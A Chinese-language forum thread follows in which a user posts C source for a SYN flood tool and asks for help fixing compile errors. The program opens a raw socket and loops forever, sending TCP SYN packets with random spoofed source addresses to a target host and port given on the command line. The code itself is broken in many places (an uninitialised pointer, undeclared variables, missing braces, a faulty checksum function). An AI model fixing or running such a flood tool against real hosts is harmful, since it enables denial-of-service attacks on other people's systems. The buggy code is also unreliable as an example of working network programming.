求助调试linux网络程序

mapple

源代码如下：

#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netdb.h>
#include<ctype.h>
#include<stdio.h>
#include<stdlib.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<errno.h>
#include<unistd.h>
#include<sys/types.h>
#include<fcntl.h>



/*******************************************
*write_syn(int sockfd,struct sockaddr_in *addr)*
*******************************************/
void write_syn(int sockfd,struct sockaddr_in *addr)
{
char        buf[56];
struct         tcphdr  *tcp;
struct         ip        *ip;
int        len;

len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buf,sizeof(buf));
/*tcp=(struct tcphdr*)(buf+sizeof(struct ip));*/
tcp->th_sport=htons(1500);
tcp->th_dport=addr->port;
tcp->th_seq=random();
tcp->th_ack=0;
tcp->th_off=5;
tcp->th_flags=TH_SYN;
ip=(struct ip*)buf;
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;
ip->ip_tos=0;
ip->ip_len=htons(on);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=TTL_OUT;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=addr->sin_addr;
for(;;){
ip->ip_src.s_addr=random();
tcp->th_sum=tcpcksum(ip);
sendto(sockfd,buf,len,0,addr,sizeof(struct sockaddr_in));
   }
  }

/**********************************************************
tcpcksum(struct ip *ip)
**********************************************************/
unsigned short tcpcksum(struct ip*ip)
{
struct        tcphdr *tcp;
unsigned short *sptr,len;
unsigned long  tcksum;
int         i;
tcksum=0;
tcp=(struct tcphdr*)(ip+1);
sptr=(unsigned short *)ip->ip_src;
for(i=0;i<4;i++)
   tcksum+=sptr++;
   sptr=(unsigned short *)tcp;
   len=ip->ip_len-ip->ip_hl<<2;
   tcksum+=IPPROTO +len;
   if(len%2){
        ((char*)tcp)[len]=0;
        len+=1;
       }
        len>>=1;
        for(i=0;i<len;i++)
     {
        tcksum+=*sptr++;
        tcksum=(tcksum>>16)+(tcksum&0xffff);
        tcksum+=(tcksum>>16);
        return(short)(tcksum&0xffff);
}


int main(int argc,char *argv[])
{
int        sockfd;
struct        sockaddr_in        addr;
struct        hostent *he;
int        on=1;
if(argc!=3){
   printf("usage:syn port \n");
   exit(1);
  }
bzero(&addr,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&addr.sin_addr)==0){
  he=gethostbyname(argv[1]);
  if(he==NULL){
        printf("host name error:%s %s\n",argv[1],hstrerror(h_errno));
        exit(1);
   }
addr.sin_addr=*(struct in_addr *)*he->h_addr_list[0];
}
  sockfd=socket(AF_INET,SOCK_RAW,0);
  if(sockfd<0){
        printf("sock error:%s \n",strerror(errno));
        exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getpid());
write_syn(sockfd,&addr);
}

编译出错如图：

mapple

tu

mapple

图怎么贴不上不上

viper

why have to picture?
is the error message print by that compiler a bitmap or jpg ? ;)